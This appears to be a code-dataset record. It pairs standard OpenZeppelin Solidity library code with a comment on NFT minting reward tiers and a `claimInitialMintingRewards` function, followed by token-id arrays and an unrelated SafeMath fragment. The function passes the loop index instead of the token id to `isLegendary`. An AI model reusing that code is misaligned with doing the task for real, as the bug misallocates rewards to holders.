{xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
Each minting tier is elligble for a token claim based on how early they minted. first 500 tokenIds get 50 whales for instance. there are 3 tiers.
function claimInitialMintingRewards(uint256[] calldata tokenIds) public nonReentrant whenNotPaused { uint256 rewards = 0; for (uint256 i = 0; i < tokenIds.length; i++) { require( Blues.ownerOf(tokenIds[i]) == msg.sender, "You are not the owner of this token" ); require( initialMintClaimLedger[tokenIds[i]] == false, "Rewards already claimed for this token" ); initialMintClaimLedger[tokenIds[i]] = true; if (tokenIds[i] <= 500) rewards += INITIAL_MINT_REWARD_TIER_1; else if (tokenIds[i] > 500 && tokenIds[i] < 1500) rewards += INITIAL_MINT_REWARD_TIER_2; else if (tokenIds[i] > 5555 || isLegendary(i)) rewards += INITIAL_MINT_REWARD_LEGENDRY_TIER; else rewards += INITIAL_MINT_REWARD_TIER_3; } Whales.mint(msg.sender, rewards); emit WhalesMinted(msg.sender, rewards); }
6,943,703
[ 1, 3442, 312, 474, 310, 17742, 353, 415, 80, 360, 7119, 364, 279, 1147, 7516, 2511, 603, 3661, 11646, 2898, 312, 474, 329, 18, 1122, 6604, 1147, 2673, 336, 6437, 600, 5408, 364, 791, 18, 1915, 854, 890, 11374, 414, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7516, 4435, 49, 474, 310, 17631, 14727, 12, 11890, 5034, 8526, 745, 892, 1147, 2673, 13, 203, 3639, 1071, 203, 3639, 1661, 426, 8230, 970, 203, 3639, 1347, 1248, 28590, 203, 565, 288, 203, 3639, 2254, 5034, 283, 6397, 273, 374, 31, 203, 3639, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 1147, 2673, 18, 2469, 31, 277, 27245, 288, 203, 5411, 2583, 12, 203, 7734, 8069, 3610, 18, 8443, 951, 12, 2316, 2673, 63, 77, 5717, 422, 1234, 18, 15330, 16, 203, 7734, 315, 6225, 854, 486, 326, 3410, 434, 333, 1147, 6, 203, 5411, 11272, 203, 5411, 2583, 12, 203, 7734, 2172, 49, 474, 9762, 28731, 63, 2316, 2673, 63, 77, 13563, 422, 629, 16, 203, 7734, 315, 17631, 14727, 1818, 7516, 329, 364, 333, 1147, 6, 203, 5411, 11272, 203, 5411, 2172, 49, 474, 9762, 28731, 63, 2316, 2673, 63, 77, 13563, 273, 638, 31, 203, 203, 5411, 309, 261, 2316, 2673, 63, 77, 65, 1648, 6604, 13, 283, 6397, 1011, 28226, 67, 49, 3217, 67, 862, 21343, 67, 23240, 654, 67, 21, 31, 203, 5411, 469, 309, 261, 2316, 2673, 63, 77, 65, 405, 6604, 597, 1147, 2673, 63, 77, 65, 411, 4711, 713, 13, 203, 7734, 283, 6397, 1011, 28226, 67, 49, 3217, 67, 862, 21343, 67, 23240, 654, 67, 22, 31, 203, 5411, 469, 309, 261, 2316, 2673, 63, 77, 65, 405, 1381, 2539, 25, 747, 353, 16812, 814, 12, 77, 3719, 203, 7734, 283, 6397, 1011, 28226, 67, 49, 3217, 67, 862, 21343, 2 ]
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } 